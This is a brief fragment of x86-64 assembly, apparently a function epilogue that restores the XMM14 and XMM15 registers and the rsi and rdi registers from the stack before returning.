movups xmm14, xmmword [rsp + 0x180]
movups xmm15, xmmword [rsp + 0x190]
add rsp, 0x1a8
pop rsi
pop rdi
ret